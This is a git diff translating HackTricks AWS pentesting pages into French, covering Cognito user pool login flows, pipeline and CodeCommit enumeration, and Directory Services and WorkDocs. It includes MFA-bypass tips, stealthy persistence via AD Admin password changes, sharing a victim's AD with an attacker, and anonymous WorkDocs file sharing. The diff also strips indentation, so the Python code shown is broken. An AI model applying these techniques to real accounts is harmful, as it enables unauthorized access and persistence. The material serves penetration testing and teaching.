+- [**Jeton ID**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html) : Il contient des revendications sur **l'identité de l'utilisateur authentifié**, telles que `name`, `email` et `phone_number`. Le jeton ID peut également être utilisé pour **authentifier les utilisateurs auprès de vos serveurs de ressources ou applications serveur**. Vous devez **vérifier** la **signature** du jeton ID avant de pouvoir faire confiance à des revendications à l'intérieur du jeton ID si vous l'utilisez dans des applications externes.
+- Le jeton ID est le jeton qui **contient les valeurs des attributs de l'utilisateur**, même les personnalisés.
+- [**Jeton d'accès**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html) : Il contient des revendications sur l'utilisateur authentifié, une liste des **groupes de l'utilisateur** et une liste de portées. Le but du jeton d'accès est de **autoriser les opérations API** dans le contexte de l'utilisateur dans le pool d'utilisateurs. Par exemple, vous pouvez utiliser le jeton d'accès pour **accorder à votre utilisateur l'accès** pour ajouter, modifier ou supprimer des attributs d'utilisateur.
+- [**Jeton de rafraîchissement**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html) : Avec les jetons de rafraîchissement, vous pouvez **obtenir de nouveaux jetons ID et jetons d'accès** pour l'utilisateur jusqu'à ce que le **jeton de rafraîchissement soit invalide**. Par **défaut**, le jeton de rafraîchissement **expire 30 jours après** que l'utilisateur de votre application se connecte à votre pool d'utilisateurs. Lorsque vous créez une application pour votre pool d'utilisateurs, vous pouvez définir l'expiration du jeton de rafraîchissement de l'application à **n'importe quelle valeur entre 60 minutes et 10 ans**.
 
 ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH
 
-This is the server side authentication flow:
+Voici le flux d'authentification côté serveur :
 
-- The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters.
-- After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials.
+- L'application côté serveur appelle l'**opération API `AdminInitiateAuth`** (au lieu de `InitiateAuth`). Cette opération nécessite des identifiants AWS avec des autorisations qui incluent **`cognito-idp:AdminInitiateAuth`** et **`cognito-idp:AdminRespondToAuthChallenge`**. L'opération renvoie les paramètres d'authentification requis.
+- Après que l'application côté serveur a les **paramètres d'authentification**, elle appelle l'**opération API `AdminRespondToAuthChallenge`**. L'opération API `AdminRespondToAuthChallenge` ne réussit que si vous fournissez des identifiants AWS.
 
-This **method is NOT enabled** by default.
+Cette **méthode n'est PAS activée** par défaut.
 
-To **login** you **need** to know:
+Pour **se connecter**, vous **devez** connaître :
 
-- user pool id
-- client id
-- username
-- password
-- client secret (only if the app is configured to use a secret)
+- l'identifiant du pool d'utilisateurs
+- l'identifiant du client
+- le nom d'utilisateur
+- le mot de passe
+- le secret du client (uniquement si l'application est configurée pour utiliser un secret)
 
 > [!NOTE]
-> In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\
-> Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**
-
+> Afin de **pouvoir se connecter avec cette méthode**, cette application doit permettre de se connecter avec `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\
+> De plus, pour effectuer cette action, vous avez besoin d'identifiants avec les autorisations **`cognito-idp:AdminInitiateAuth`** et **`cognito-idp:AdminRespondToAuthChallenge`**.
 ```python
 aws cognito-idp admin-initiate-auth \
-    --client-id <client-id> \
-    --auth-flow ADMIN_USER_PASSWORD_AUTH \
-    --region <region> \
-    --auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
-    --user-pool-id "<pool-id>"
+--client-id <client-id> \
+--auth-flow ADMIN_USER_PASSWORD_AUTH \
+--region <region> \
+--auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
+--user-pool-id "<pool-id>"
 
 # Check the python code to learn how to generate the hsecret_hash
 ```
-
 <details>
 
-<summary>Code to Login</summary>
-
+<summary>Code de connexion</summary>
 ```python
 import boto3
 import botocore
@@ -249,61 +216,57 @@ password = "<pwd>"
 boto_client = boto3.client('cognito-idp', region_name='us-east-1')
 
 def get_secret_hash(username, client_id, client_secret):
-    key = bytes(client_secret, 'utf-8')
-    message = bytes(f'{username}{client_id}', 'utf-8')
-    return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode()
+key = bytes(client_secret, 'utf-8')
+message = bytes(f'{username}{client_id}', 'utf-8')
+return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode()
 
 # If the Client App isn't configured to use a secret
 ## just delete the line setting the SECRET_HASH
 def login_user(username_or_alias, password, client_id, client_secret, user_pool_id):
-    try:
-        return boto_client.admin_initiate_auth(
-            UserPoolId=user_pool_id,
-            ClientId=client_id,
-            AuthFlow='ADMIN_USER_PASSWORD_AUTH',
-            AuthParameters={
-                'USERNAME': username_or_alias,
-                'PASSWORD': password,
-                'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret)
-            }
-        )
-    except botocore.exceptions.ClientError as e:
-        return e.response
+try:
+return boto_client.admin_initiate_auth(
+UserPoolId=user_pool_id,
+ClientId=client_id,
+AuthFlow='ADMIN_USER_PASSWORD_AUTH',
+AuthParameters={
+'USERNAME': username_or_alias,
+'PASSWORD': password,
+'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret)
+}
+)
+except botocore.exceptions.ClientError as e:
+return e.response
 
 print(login_user(username, password, client_id, client_secret, user_pool_id))
 ```
-
 </details>
 
 ### USER_PASSWORD_AUTH
 
-This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW_USER_SRP_AUTH** method instead (as that one never sends the password over the network).\
-This **method is NOT enabled** by default.
+Cette méthode est un autre flux d'**authentification simple et traditionnelle par utilisateur et mot de passe**. Il est recommandé de **migrer une méthode d'authentification traditionnelle** **vers Cognito** et **recommandé** de **la désactiver** puis **d'utiliser** la méthode **ALLOW_USER_SRP_AUTH** à la place (car celle-ci n'envoie jamais le mot de passe sur le réseau).\
+Cette **méthode n'est PAS activée** par défaut.
 
-The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool.
+La principale **différence** avec la **méthode d'authentification précédente** dans le code est que vous **n'avez pas besoin de connaître l'ID du pool d'utilisateurs** et que vous **n'avez pas besoin de permissions supplémentaires** dans le pool d'utilisateurs Cognito.
 
-To **login** you **need** to know:
+Pour **vous connecter**, vous **devez** connaître :
 
-- client id
-- username
-- password
-- client secret (only if the app is configured to use a secret)
+- l'ID client
+- le nom d'utilisateur
+- le mot de passe
+- le secret client (uniquement si l'application est configurée pour utiliser un secret)
 
 > [!NOTE]
-> In order to be **able to login with this method** that application must allow to login with ALLOW_USER_PASSWORD_AUTH.
-
+> Afin de **pouvoir se connecter avec cette méthode**, cette application doit permettre de se connecter avec ALLOW_USER_PASSWORD_AUTH.
 ```python
 aws cognito-idp initiate-auth  --client-id <client-id> \
-    --auth-flow USER_PASSWORD_AUTH --region <region> \
-    --auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
+--auth-flow USER_PASSWORD_AUTH --region <region> \
+--auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
 
 # Check the python code to learn how to generate the secret_hash
 ```
-
 <details>
 
-<summary>Python code to Login</summary>
-
+<summary>Code Python pour se connecter</summary>
 ```python
 import boto3
 import botocore
@@ -321,48 +284,46 @@ password = "<pwd>"
 boto_client = boto3.client('cognito-idp', region_name='us-east-1')
 
 def get_secret_hash(username, client_id, client_secret):
-    key = bytes(client_secret, 'utf-8')
-    message = bytes(f'{username}{client_id}', 'utf-8')
-    return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode()
+key = bytes(client_secret, 'utf-8')
+message = bytes(f'{username}{client_id}', 'utf-8')
+return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode()
 
 # If the Client App isn't configured to use a secret
 ## just delete the line setting the SECRET_HASH
 def login_user(username_or_alias, password, client_id, client_secret, user_pool_id):
-    try:
-        return boto_client.initiate_auth(
-            ClientId=client_id,
-            AuthFlow='ADMIN_USER_PASSWORD_AUTH',
-            AuthParameters={
-                'USERNAME': username_or_alias,
-                'PASSWORD': password,
-                'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret)
-            }
-        )
-    except botocore.exceptions.ClientError as e:
-        return e.response
+try:
+return boto_client.initiate_auth(
+ClientId=client_id,
+AuthFlow='ADMIN_USER_PASSWORD_AUTH',
+AuthParameters={
+'USERNAME': username_or_alias,
+'PASSWORD': password,
+'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret)
+}
+)
+except botocore.exceptions.ClientError as e:
+return e.response
 
 print(login_user(username, password, client_id, client_secret, user_pool_id))
 ```
-
 </details>
 
 ### USER_SRP_AUTH
 
-This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\
-This **method is enabled** by default.
+Ce scénario est similaire au précédent mais **au lieu d'envoyer le mot de passe** à travers le réseau pour se connecter, une **authentification par défi est effectuée** (donc aucun mot de passe ne circule même crypté à travers le net).\
+Cette **méthode est activée** par défaut.
 
-To **login** you **need** to know:
+Pour **se connecter**, vous **devez** connaître :
 
-- user pool id
-- client id
-- username
-- password
-- client secret (only if the app is configured to use a secret)
+- l'identifiant du pool d'utilisateurs
+- l'identifiant du client
+- le nom d'utilisateur
+- le mot de passe
+- le secret du client (uniquement si l'application est configurée pour utiliser un secret)
 
 <details>
 
 <summary>Code to login</summary>
-
 ```python
 from warrant.aws_srp import AWSSRP
 import os
@@ -375,32 +336,28 @@ CLIENT_SECRET = 'secreeeeet'
 os.environ["AWS_DEFAULT_REGION"] = "<region>"
 
 aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID,
-    client_id=CLIENT_ID, client_secret=CLIENT_SECRET)
+client_id=CLIENT_ID, client_secret=CLIENT_SECRET)
 tokens = aws.authenticate_user()
 id_token = tokens['AuthenticationResult']['IdToken']
 refresh_token = tokens['AuthenticationResult']['RefreshToken']
 access_token = tokens['AuthenticationResult']['AccessToken']
 token_type = tokens['AuthenticationResult']['TokenType']
 ```
-
 </details>
 
 ### REFRESH_TOKEN_AUTH & REFRESH_TOKEN
 
-This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token.
-
+Cette **méthode sera toujours valide** (elle ne peut pas être désactivée) mais vous devez avoir un jeton de rafraîchissement valide.
 ```bash
 aws cognito-idp initiate-auth \
-    --client-id 3ig6h5gjm56p1ljls1prq2miut \
-    --auth-flow REFRESH_TOKEN_AUTH \
-    --region us-east-1 \
-    --auth-parameters 'REFRESH_TOKEN=<token>'
+--client-id 3ig6h5gjm56p1ljls1prq2miut \
+--auth-flow REFRESH_TOKEN_AUTH \
+--region us-east-1 \
+--auth-parameters 'REFRESH_TOKEN=<token>'
 ```
-
 <details>
 
-<summary>Code to refresh</summary>
-
+<summary>Code pour rafraîchir</summary>
 ```python
 import boto3
 import botocore
@@ -414,83 +371,74 @@ token = '<token>'
 boto_client = boto3.client('cognito-idp', region_name='<region>')
 
 def refresh(client_id, refresh_token):
-    try:
-        return boto_client.initiate_auth(
-            ClientId=client_id,
-            AuthFlow='REFRESH_TOKEN_AUTH',
-            AuthParameters={
-                'REFRESH_TOKEN': refresh_token
-            }
-        )
-    except botocore.exceptions.ClientError as e:
-        return e.response
+try:
+return boto_client.initiate_auth(
+ClientId=client_id,
+AuthFlow='REFRESH_TOKEN_AUTH',
+AuthParameters={
+'REFRESH_TOKEN': refresh_token
+}
+)
+except botocore.exceptions.ClientError as e:
+return e.response
 
 
 print(refresh(client_id, token))
 ```
-
 </details>
 
 ### CUSTOM_AUTH
 
-In this case the **authentication** is going to be performed through the **execution of a lambda function**.
+Dans ce cas, l'**authentification** va être effectuée par l'**exécution d'une fonction lambda**.
 
-## Extra Security
+## Sécurité supplémentaire
 
-### Advanced Security
+### Sécurité avancée
 
-By default it's disabled, but if enabled, Cognito could be able to **find account takeovers**. To minimise the probability you should login from a **network inside the same city, using the same user agent** (and IP is thats possible)**.**
+Par défaut, c'est désactivé, mais si activé, Cognito pourrait être capable de **détecter les prises de contrôle de compte**. Pour minimiser la probabilité, vous devriez vous connecter depuis un **réseau à l'intérieur de la même ville, en utilisant le même agent utilisateur** (et l'IP si c'est possible)**.**
 
-### **MFA Remember device**
+### **MFA Rappeler l'appareil**
 
-If the user logins from the same device, the MFA might be bypassed, therefore try to login from the same browser with the same metadata (IP?) to try to bypass the MFA protection.
+Si l'utilisateur se connecte depuis le même appareil, la MFA pourrait être contournée, essayez donc de vous connecter depuis le même navigateur avec les mêmes métadonnées (IP ?) pour essayer de contourner la protection MFA.
 
-## User Pool Groups IAM Roles
+## Rôles IAM des groupes de User Pool
 
-It's possible to add **users to User Pool** groups that are related to one **IAM roles**.\
-Moreover, **users** can be assigned to **more than 1 group with different IAM roles** attached.
+Il est possible d'ajouter des **utilisateurs aux groupes de User Pool** qui sont liés à un **rôle IAM**.\
+De plus, les **utilisateurs** peuvent être assignés à **plus d'un groupe avec différents rôles IAM** attachés.
 
-Note that even if a group is inside a group with an IAM role attached, in order to be able to access IAM credentials of that group it's needed that the **User Pool is trusted by an Identity Pool** (and know the details of that Identity Pool).
+Notez que même si un groupe est à l'intérieur d'un groupe avec un rôle IAM attaché, pour pouvoir accéder aux identifiants IAM de ce groupe, il est nécessaire que le **User Pool soit approuvé par un Identity Pool** (et connaître les détails de cet Identity Pool).
 
-Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.**
+Un autre requis pour obtenir le **rôle IAM indiqué dans l'IdToken** lorsqu'un utilisateur est authentifié dans le User Pool (`aws cognito-idp initiate-auth...`) est que le **fournisseur d'authentification Identity Provider** doit indiquer que le **rôle doit être sélectionné à partir du token.**
 
 <figure><img src="../../../../images/image (250).png" alt=""><figcaption></figcaption></figure>
 
-The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\
-However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed):
-
+Les **rôles** auxquels un utilisateur a accès sont **dans le `IdToken`**, et un utilisateur peut **sélectionner quel rôle il aimerait avoir des identifiants** avec le **`--custom-role-arn`** de `aws cognito-identity get-credentials-for-identity`.\
+Cependant, si l'**option par défaut** est celle **configurée** (`utiliser le rôle par défaut`), et que vous essayez d'accéder à un rôle à partir de l'IdToken, vous obtiendrez une **erreur** (c'est pourquoi la configuration précédente est nécessaire) :
 ```
 An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN.
 ```
-
 > [!WARNING]
-> Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**).
-
+> Notez que le rôle attribué à un **User Pool Group** doit être **accessible par le fournisseur d'identité** qui **fait confiance au User Pool** (car les **informations d'identification de session du rôle IAM vont être obtenues à partir de celui-ci**).
 ```json
 {
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Principal": {
-                "Federated": "cognito-identity.amazonaws.com"
-            },
-            "Action": "sts:AssumeRoleWithWebIdentity",
-            "Condition": {
-                "StringEquals": {
-                    "cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439"
-                },
-                "ForAnyValue:StringLike": {
-                    "cognito-identity.amazonaws.com:amr": "authenticated"
-                }
-            }
-        }
-    ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "cognito-identity.amazonaws.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439"
+},
+"ForAnyValue:StringLike": {
+"cognito-identity.amazonaws.com:amr": "authenticated"
+}
+}
+}
+]
 }js
 ```
-
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
index 2a907b71b..1983e0ece 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -4,30 +4,28 @@
 
 ## DataPipeline
 
-AWS Data Pipeline is designed to facilitate the **access, transformation, and efficient transfer** of data at scale. It allows the following operations to be performed:
+AWS Data Pipeline est conçu pour faciliter l'**accès, la transformation et le transfert efficace** de données à grande échelle. Il permet d'effectuer les opérations suivantes :
 
-1. **Access Your Data Where It’s Stored**: Data residing in various AWS services can be accessed seamlessly.
-2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently.
-3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including:
-   - Amazon S3
-   - Amazon RDS
-   - Amazon DynamoDB
-   - Amazon EMR
+1. **Accédez à vos données où elles sont stockées** : Les données résidant dans divers services AWS peuvent être accessibles sans effort.
+2. **Transformez et traitez à grande échelle** : Les tâches de traitement et de transformation de données à grande échelle sont gérées efficacement.
+3. **Transférez les résultats efficacement** : Les données traitées peuvent être transférées efficacement vers plusieurs services AWS, y compris :
+- Amazon S3
+- Amazon RDS
+- Amazon DynamoDB
+- Amazon EMR
 
-In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals.
+En essence, AWS Data Pipeline rationalise le mouvement et le traitement des données entre différents services de calcul et de stockage AWS, ainsi que des sources de données sur site, à des intervalles spécifiés.
 
 ### Enumeration
-
 ```bash
 aws datapipeline list-pipelines
 aws datapipeline describe-pipelines --pipeline-ids <ID>
 aws datapipeline list-runs --pipeline-id <ID>
 aws datapipeline get-pipeline-definition --pipeline-id <ID>
 ```
-
 ### Privesc
 
-In the following page you can check how to **abuse datapipeline permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions de datapipeline pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -35,10 +33,9 @@ In the following page you can check how to **abuse datapipeline permissions to e
 
 ## CodePipeline
 
-AWS CodePipeline is a fully managed **continuous delivery service** that helps you **automate your release pipelines** for fast and reliable application and infrastructure updates. CodePipeline automates the **build, test, and deploy phases** of your release process every time there is a code change, based on the release model you define.
+AWS CodePipeline est un **service de livraison continue** entièrement géré qui vous aide à **automatiser vos pipelines de publication** pour des mises à jour d'application et d'infrastructure rapides et fiables. CodePipeline automatise les **phases de construction, de test et de déploiement** de votre processus de publication chaque fois qu'il y a un changement de code, en fonction du modèle de publication que vous définissez.
 
 ### Enumeration
-
 ```bash
 aws codepipeline list-pipelines
 aws codepipeline get-pipeline --name <pipeline_name>
@@ -47,10 +44,9 @@ aws codepipeline list-pipeline-executions --pipeline-name <pl_name>
 aws codepipeline list-webhooks
 aws codepipeline get-pipeline-state --name <pipeline_name>
 ```
-
 ### Privesc
 
-In the following page you can check how to **abuse codepipeline permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions de codepipeline pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -58,12 +54,11 @@ In the following page you can check how to **abuse codepipeline permissions to e
 
 ## CodeCommit
 
-It is a **version control service**, which is hosted and fully managed by Amazon, which can be used to privately store data (documents, binary files, source code) and manage them in the cloud.
+C'est un **service de contrôle de version**, qui est hébergé et entièrement géré par Amazon, et qui peut être utilisé pour stocker des données (documents, fichiers binaires, code source) de manière privée et les gérer dans le cloud.
 
-It **eliminates** the requirement for the user to know Git and **manage their own source control system** or worry about scaling up or down their infrastructure. Codecommit supports all the standard **functionalities that can be found in Git**, which means it works effortlessly with user’s current Git-based tools.
+Il **élimine** la nécessité pour l'utilisateur de connaître Git et **de gérer son propre système de contrôle de version** ou de s'inquiéter de l'augmentation ou de la réduction de son infrastructure. Codecommit prend en charge toutes les **fonctionnalités standard que l'on peut trouver dans Git**, ce qui signifie qu'il fonctionne sans effort avec les outils basés sur Git de l'utilisateur.
 
 ### Enumeration
-
 ```bash
 # Repos
 aws codecommit list-repositories
@@ -95,13 +90,8 @@ ssh-keygen -f .ssh/id_rsa -l -E md5
 # Clone repo
 git clone ssh://<SSH-KEY-ID>@git-codecommit.<REGION>.amazonaws.com/v1/repos/<repo-name>
 ```
-
-## References
+## Références
 
 - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
index 93992174c..34fa781c0 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
@@ -1,29 +1,28 @@
-# AWS - Directory Services / WorkDocs Enum
+# AWS - Services de Répertoire / Enumération WorkDocs
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Directory Services
+## Services de Répertoire
 
-AWS Directory Service for Microsoft Active Directory is a managed service that makes it easy to **set up, operate, and scale a directory** in the AWS Cloud. It is built on actual **Microsoft Active Directory** and integrates tightly with other AWS services, making it easy to manage your directory-aware workloads and AWS resources. With AWS Managed Microsoft AD, you can **use your existing** Active Directory users, groups, and policies to manage access to your AWS resources. This can help simplify your identity management and reduce the need for additional identity solutions. AWS Managed Microsoft AD also provides automatic backups and disaster recovery capabilities, helping to ensure the availability and durability of your directory. Overall, AWS Directory Service for Microsoft Active Directory can help you save time and resources by providing a managed, highly available, and scalable Active Directory service in the AWS Cloud.
+AWS Directory Service for Microsoft Active Directory est un service géré qui facilite la **configuration, l'exploitation et la mise à l'échelle d'un annuaire** dans le Cloud AWS. Il est construit sur un véritable **Microsoft Active Directory** et s'intègre étroitement avec d'autres services AWS, facilitant la gestion de vos charges de travail et ressources AWS conscientes de l'annuaire. Avec AWS Managed Microsoft AD, vous pouvez **utiliser vos utilisateurs, groupes et politiques** Active Directory existants pour gérer l'accès à vos ressources AWS. Cela peut aider à simplifier votre gestion des identités et réduire le besoin de solutions d'identité supplémentaires. AWS Managed Microsoft AD fournit également des sauvegardes automatiques et des capacités de récupération après sinistre, aidant à garantir la disponibilité et la durabilité de votre annuaire. Dans l'ensemble, AWS Directory Service for Microsoft Active Directory peut vous aider à gagner du temps et des ressources en fournissant un service Active Directory géré, hautement disponible et évolutif dans le Cloud AWS.
 
 ### Options
 
-Directory Services allows to create 5 types of directories:
+Les Services de Répertoire permettent de créer 5 types d'annuaires :
 
-- **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC.
-- **Simple AD**: Which will be a **Linux-Samba** Active Directory–compatible server. You will be able to set the admin password and access the DCs in a VPC.
-- **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**.
-- **Amazon Cognito User Pools**: This is the same as Cognito User Pools.
-- **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**.
+- **AWS Managed Microsoft AD** : Qui exécutera un nouveau **Microsoft AD dans AWS**. Vous pourrez définir le mot de passe administrateur et accéder aux DC dans un VPC.
+- **Simple AD** : Qui sera un serveur compatible Active Directory **Linux-Samba**. Vous pourrez définir le mot de passe administrateur et accéder aux DC dans un VPC.
+- **AD Connector** : Un proxy pour **rediriger les demandes d'annuaire vers votre Microsoft Active Directory existant** sans mettre en cache d'informations dans le cloud. Il écoutera dans un **VPC** et vous devez fournir **des identifiants pour accéder à l'AD existant**.
+- **Amazon Cognito User Pools** : C'est la même chose que les Cognito User Pools.
+- **Cloud Directory** : C'est le **plus simple**. Un annuaire **sans serveur** où vous indiquez le **schéma** à utiliser et êtes **facturé en fonction de l'utilisation**.
 
-AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**.
+Les services de répertoire AWS permettent de **synchroniser** avec votre **Microsoft AD sur site** existant, **d'exécuter le vôtre** dans AWS ou de synchroniser avec **d'autres types d'annuaires**.
 
 ### Lab
 
-Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html)
-
-### Enumeration
+Ici, vous pouvez trouver un joli tutoriel pour créer votre propre Microsoft AD dans AWS : [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html)
 
+### Énumération
 ```bash
 # Get directories and DCs
 aws ds describe-directories
@@ -36,10 +35,9 @@ aws ds get-directory-limits
 aws ds list-certificates --directory-id <id>
 aws ds describe-certificate --directory-id <id> --certificate-id <id>
 ```
-
 ### Login
 
-Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:**
+Notez que si la **description** du répertoire contenait un **domaine** dans le champ **`AccessUrl`**, c'est parce qu'un **utilisateur** peut probablement **se connecter** avec ses **identifiants AD** dans certains **services AWS :**
 
 - `<name>.awsapps.com/connect` (Amazon Connect)
 - `<name>.awsapps.com/workdocs` (Amazon WorkDocs)
@@ -57,30 +55,29 @@ Note that if the **description** of the directory contained a **domain** in the
 
 ### Using an AD user
 
-An **AD user** can be given **access over the AWS management console** via a Role to assume. The **default username is Admin** and it's possible to **change its password** from AWS console.
+Un **utilisateur AD** peut se voir accorder **l'accès à la console de gestion AWS** via un rôle à assumer. Le **nom d'utilisateur par défaut est Admin** et il est possible de **changer son mot de passe** depuis la console AWS.
 
-Therefore, it's possible to **change the password of Admin**, **create a new user** or **change the password** of a user and grant that user a Role to maintain access.\
-It's also possible to **add a user to a group inside AD** and **give that AD group access to a Role** (to make this persistence more stealth).
+Par conséquent, il est possible de **changer le mot de passe d'Admin**, **de créer un nouvel utilisateur** ou **de changer le mot de passe** d'un utilisateur et d'accorder à cet utilisateur un rôle pour maintenir l'accès.\
+Il est également possible **d'ajouter un utilisateur à un groupe dans AD** et **de donner à ce groupe AD accès à un rôle** (pour rendre cette persistance plus discrète).
 
 ### Sharing AD (from victim to attacker)
 
-It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\
-However, this implies sharing the managed AD and also creating an VPC peering connection.
+Il est possible de partager un environnement AD d'une victime à un attaquant. De cette manière, l'attaquant pourra continuer à accéder à l'environnement AD.\
+Cependant, cela implique de partager l'AD géré et également de créer une connexion de peering VPC.
 
-You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html)
+Vous pouvez trouver un guide ici : [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html)
 
 ### ~~Sharing AD (from attacker to victim)~~
 
-It doesn't look like possible to grant AWS access to users from a different AD env to one AWS account.
+Il ne semble pas possible d'accorder l'accès AWS à des utilisateurs d'un environnement AD différent à un compte AWS.
 
 ## WorkDocs
 
-Amazon Web Services (AWS) WorkDocs is a cloud-based **file storage and sharing service**. It is part of the AWS suite of cloud computing services and is designed to provide a secure and scalable solution for organizations to store, share, and collaborate on files and documents.
+Amazon Web Services (AWS) WorkDocs est un **service de stockage et de partage de fichiers** basé sur le cloud. Il fait partie de la suite de services de cloud computing AWS et est conçu pour fournir une solution sécurisée et évolutive pour les organisations afin de stocker, partager et collaborer sur des fichiers et des documents.
 
-AWS WorkDocs provides a web-based interface for users to upload, access, and manage their files and documents. It also offers features such as version control, real-time collaboration, and integration with other AWS services and third-party tools.
+AWS WorkDocs fournit une interface web pour que les utilisateurs puissent télécharger, accéder et gérer leurs fichiers et documents. Il offre également des fonctionnalités telles que le contrôle de version, la collaboration en temps réel et l'intégration avec d'autres services AWS et des outils tiers.
 
 ### Enumeration
-
 ```bash
 # Get AD users (Admin not included)
 aws workdocs describe-users --organization-id <directory-id>
@@ -109,7 +106,6 @@ aws workdocs describe-resource-permissions --resource-id <value>
 aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
 ## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>
 ```
